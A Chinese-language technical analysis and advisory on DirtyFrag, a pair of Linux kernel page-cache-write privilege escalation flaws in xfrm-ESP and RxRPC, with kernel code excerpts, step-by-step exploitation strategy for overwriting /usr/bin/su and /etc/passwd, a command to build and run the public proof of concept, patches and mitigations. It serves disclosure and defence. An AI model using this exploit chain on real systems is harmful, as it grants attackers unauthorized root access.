DirtyFrag:通过页缓存写入实现的通用 Linux 本地权限提升
对 DirtyFrag 的技术剖析:这是一对 Linux 内核本地权限提升漏洞(CVE-2026-43284 和 CVE-2026-43500,CVSS 7.8 高危),可让任何无特权的本地用户在大多数主流 Linux 发行版上获得 root 权限。通过串联 xfrm-ESP 与 RxRPC 的原地解密路径缺陷——二者都根植于与 Dirty Pipe 和 Copy Fail 相同的页缓存写入原语——该漏洞利用无需竞态条件即可覆盖只读的页缓存页面,实现接近 100% 的可靠性。
DirtyFrag
通过页缓存写入实现的通用 Linux 本地权限提升
2026 年 5 月 7 日 · CVSS 7.8 高危 · Linux 内核(2017–2026)
| CVE ID | CVSS | 组件 | 受影响范围 | 修复版本 |
|---|---|---|---|---|
| CVE-2026-43284 | 7.8 高危 | xfrm / ESP (esp4, esp6) | kernel ≥ cac2661c53f3 (2017-01-17) | f4c50a4034e6 (2026-05-08) |
| CVE-2026-43500 | 7.8 高危 | RxRPC (rxrpc.ko) | kernel ≥ 2dc334f1a63a (2023-06-08) | aa54b1d27fe0 (2026-05-10) |
DirtyFrag 概述:Dirty 页缓存写入家族的新成员
DirtyFrag 是一种由 Hyunwoo Kim (@v4bel) 发现并报告的权限提升技术,无需竞态条件即可在绝大多数 Linux 发行版上获得 root 权限。它与 Dirty Pipe 和 Copy Fail 属于同一漏洞类别:攻击者使用 splice() 将一个只读的页缓存页面固定到某个内核数据结构中,随后内核代码在该页面之上执行原地写入,从而永久性地破坏攻击者本只能读取的文件在内存中的副本。
这个名称指的是被“弄脏”的那个成员:Dirty Pipe 破坏的是 struct pipe_buffer,而 DirtyFrag 破坏的是 struct sk_buff 的 frag 成员。
DirtyFrag 串联了两个相互独立的漏洞,以消除彼此的盲区:
- CVE-2026-43284(xfrm-ESP 页缓存写入) —— 一个通过 IPsec ESP 输入路径触发的强大的任意 4 字节 STORE 原语。大多数发行版上都可用,但需要具备创建用户命名空间的权限(
unshare(CLONE_NEWUSER))。 - CVE-2026-43500(RxRPC 页缓存写入) —— 一个通过 RxRPC 原地解密路径触发的 8 字节 STORE。无需命名空间权限,但依赖于
rxrpc.ko,而大多数发行版并不附带该模块——不过 Ubuntu 默认会加载它。
通过先运行 ESP 变体,并在命名空间创建被阻止时(例如启用了 AppArmor 加固的 Ubuntu)回退到 RxRPC 变体,单个二进制文件即可在所有主流发行版上获得 root 权限。
CVE-2026-43284:xfrm-ESP 页缓存写入
根本原因
在对 ESP 载荷执行原地 AEAD 解密之前,esp_input() 应当针对非线性 skb 调用 skb_cow_data(),以分配一个私有的内核缓冲区并将 frag 数据复制进去。然而,当该 skb 未被克隆且没有 frag_list 时,该函数会直接短路跳转到解密步骤:
static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
[...]
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) { // [1]
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) {
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow; // [2] vulnerable path
}
}
err = skb_cow_data(skb, 0, &trailer);
[...]
在 [2] 处,frag 绕过了写时复制(copy-on-write)。如果攻击者已通过 splice 将一个页缓存页面固定到该 frag 中,ESP 子系统内部的 AEAD 引擎就会直接在该页面上进行操作(注意:这与 algif_aead 不同——此处不涉及 AF_ALG)。
解密函数 crypto_authenc_esn_decrypt() 会在其 ESN 序列号预处理步骤中执行一次 4 字节 STORE——此时身份认证尚未运行:
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
[...]
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // [3] 4-byte STORE
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
[...]
在 [3] 处写入的 4 字节值是 ESN 序列号的高 32 位——攻击者在 SA 注册时可通过 XFRMA_REPLAY_ESN_VAL netlink 属性提供该值。这意味着攻击者同时控制了目标文件偏移量(通过 splice 定位)以及写入的这 4 个字节(通过 SA 的 seq_hi)。AEAD 身份认证会以 -EBADMSG 失败,但此时 STORE 已经提交到了页缓存中。
漏洞利用策略(ESP 变体)
目标是 /usr/bin/su。该漏洞利用会用一个极简的 root shell ELF 覆盖其页缓存副本的前 192 字节:
- 该 ELF 通过 PT_LOAD 将 0xb8 字节映射为位于虚拟地址
0x400000处的 R+X。 - 入口点
0x400078调用setgid(0); setuid(0); setgroups(0, NULL); execve("/bin/sh", ...)。 - 整个 PAM 流程被完全绕过。
这 192 字节被拆分为 48 个 4 字节的块,每个块由一个单独的 XFRM SA 投递,其 seq_hi 携带目标 shellcode 字节。
一个子进程首先调用 unshare(CLONE_NEWUSER | CLONE_NEWNET),以在新命名空间内获得 CAP_NET_ADMIN,随后一次性注册 48 个 SA。每次触发都会将一个伪造的 ESP 线路头部 + 16 字节的 /usr/bin/su 页面(通过 vmsplice + splice)管道传输到一个启用了 UDP_ENCAP_ESPINUDP 的回环 UDP 套接字。由此产生的 skb 会将该页缓存页面作为 frags[0] 携带,流经 esp_input,并接收其 4 字节 STORE。在全部 48 次迭代完成后,完整的 ELF 便在内存中组装完毕,父进程(init 命名空间)中的 execve("/usr/bin/su") 随即启动 root shell。
补丁(CVE-2026-43284)
该修复为那些在 IPv4/IPv6 数据报追加路径中通过 splice 到达的页面 frag 添加了一个 SKBFL_SHARED_FRAG 标志,并扩展了 esp_input / esp6_input 中的 skip_cow 守卫检查,以检测该标志:
-} else if (!skb_has_frag_list(skb)) {
+} else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) {
攻击者固定的页缓存页面现在始终会到达 skb_cow_data(),无法再进入原地 AEAD 的 dst SGL。
CVE-2026-43500:RxRPC 页缓存写入
根本原因
rxkad_verify_packet_1() 在 RXRPC_SECURITY_AUTH 级别验证 RxRPC DATA 数据包时,会对 rxrpc 载荷的前 8 字节执行一次原地 pcbc(fcrypt) 解密:
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
[...]
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [4] src == dst: in-place
ret = crypto_skcipher_decrypt(req); // [5] 8-byte STORE
在 [4] 处,src 与 dst 两个 SGL 是相同的。skb_to_sgvec() 直接将 skb 的 frag 转换成 SGL,因此攻击者通过 splice 固定的页缓存页面既成为 src 又成为 dst。[5] 处的 8 字节 STORE 会写入 fcrypt_decrypt(C, K)——即用攻击者的会话密钥 K 解密位于 frag 偏移处的密文所得到的结果。
会话密钥可以通过 add_key("rxrpc", ...) 无需任何特权地自由植入。与 ESP 变体不同,此处不需要用户命名空间。
漏洞利用策略(RxRPC 变体)
由于 STORE 写入的值是 fcrypt_decrypt(C, K) 而非一个直接受控的值,攻击者会在用户空间中对 K 进行暴力破解,直到得出所需的 8 字节明文。fcrypt 是一种 56 位密钥的 AFS 密码算法——其用户空间移植版本运行速度约为 18 M/s,对每个约束较弱的块而言,大约 5 ms 即可得出一个密钥。
目标是 /etc/passwd 的第 1 行。该漏洞利用在文件偏移量 4、6 和 8 处施加三个相互重叠的 8 字节 STORE,将 "root:x:0:0:root:/root:/bin/bash" 重塑为 "root::0:0:GGGGGG:/root:/bin/bash"。passwd 字段变为空字符串;启用了 nullok 的 pam_unix.so 会接受它,并在不提示输入密码的情况下返回 PAM_SUCCESS。
每个位置的 STORE 需要:
- 计算链式密文(将先前已施加于该页面的 STORE 考虑在内)。
- 暴力破解
K,使得fcrypt_decrypt(C_actual, K)产生所需的明文。 - 用
add_key注册密钥,建立一个回环 AF_RXRPC 握手,预先计算线路校验和,并通过vmsplice+splice投递一个伪造的 DATA 数据包。
该变体不调用 unshare()——所有系统调用(add_key、socket(AF_RXRPC)、socket(AF_ALG)、splice、recvmsg)对无特权用户均可用。
补丁(CVE-2026-43500)
该修复将 call_event.c 和 conn_event.c 中原地解密之前的守卫检查从单一的 skb_cloned 检查扩展为同时捕获共享 skb 和带 frag-list 的 skb:
-if (skb_cloned(skb)) {
+if (skb_cloned(skb) || skb_has_frag_list(skb) ||
+ skb_has_shared_frag(skb)) {
携带外部固定页面 frag 的 skb 现在会在到达解密汇点之前经由 skb_copy() 隔离开来。
DirtyFrag:漏洞利用链——单个二进制文件,通用 root
串联逻辑非常直接:
1. Attempt ESP variant (child: unshare USER+NET → register XFRM SAs → splice → patch /usr/bin/su)
2. Read back the first shellcode byte at the entry offset of /usr/bin/su.
- Success → parent: forkpty + execve("/usr/bin/su") → root shell.
3. Failure (unshare denied, esp4.ko absent, or SA registration fails):
- Fall back to RxRPC variant:
K brute-force × 3 → splice triggers → /etc/passwd line 1 cleared
forkpty + execve("/usr/bin/su") → PAM nullok → root shell.
该组合利用链已在以下系统上得到确认:Ubuntu 24.04.4(内核 6.17.0-23)、RHEL 10.1(6.12.0-124.49.1)、openSUSE Tumbleweed(7.0.2-1)、CentOS Stream 10、AlmaLinux 10 以及 Fedora 44。整个过程不涉及竞态条件,失败时内核不会崩溃(panic),成功率接近 100%。
DirtyFrag 概念验证
公开的 PoC 是单个 C 文件。构建并运行方式如下:
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
测试环境
该漏洞利用在一台运行 Ubuntu 24.04.1、搭载未打补丁内核的本地 VirtualBox 虚拟机上进行了测试:
Linux aziz-VirtualBox 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 GNU/Linux

漏洞利用
该利用链首先运行 ESP 变体(此内核允许创建用户命名空间),用 root shell ELF 覆盖了 /usr/bin/su 的页缓存,并在不到一秒内返回了一个 root shell:

uid=0(root) gid=0(root) groups=0(root)
即时缓解措施
在内核更新可用之前,请禁用存在漏洞的模块并刷新页缓存:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
> /etc/modprobe.d/dirtyfrag.conf; \
rmmod esp4 esp6 rxrpc 2>/dev/null; \
echo 3 > /proc/sys/vm/drop_caches; true"
修复
- 一旦您所用发行版提供了向后移植(backport)的补丁,请立即应用内核更新。
- 在不需要 IPsec 或 AFS 的系统上,确认
esp4、esp6和rxrpc模块未被加载(lsmod | grep -E 'esp4|esp6|rxrpc')。 - 在 Ubuntu 上,请审查有关无特权用户命名空间创建的 AppArmor 策略——虽然这能阻断 ESP 路径,但 RxRPC 路径无论如何仍然是敞开的。
- 监控敏感的 setuid 二进制文件以及
/etc/passwd上的页缓存异常。
参考资料
| 资源 | 链接 |
|---|---|
| GitHub PoC (V4bel/dirtyfrag) | https://github.com/V4bel/dirtyfrag |
| 内核补丁 CVE-2026-43284 (f4c50a4034e6) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 |
| 内核补丁 CVE-2026-43500 (aa54b1d27fe0) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71 |
| NVD CVE-2026-43284 | https://nvd.nist.gov/vuln/detail/CVE-2026-43284 |
| Red Hat 安全公告 RHSB-2026-003 | https://access.redhat.com/security/vulnerabilities/RHSB-2026-003 |
| Ubuntu 安全通告 | https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available |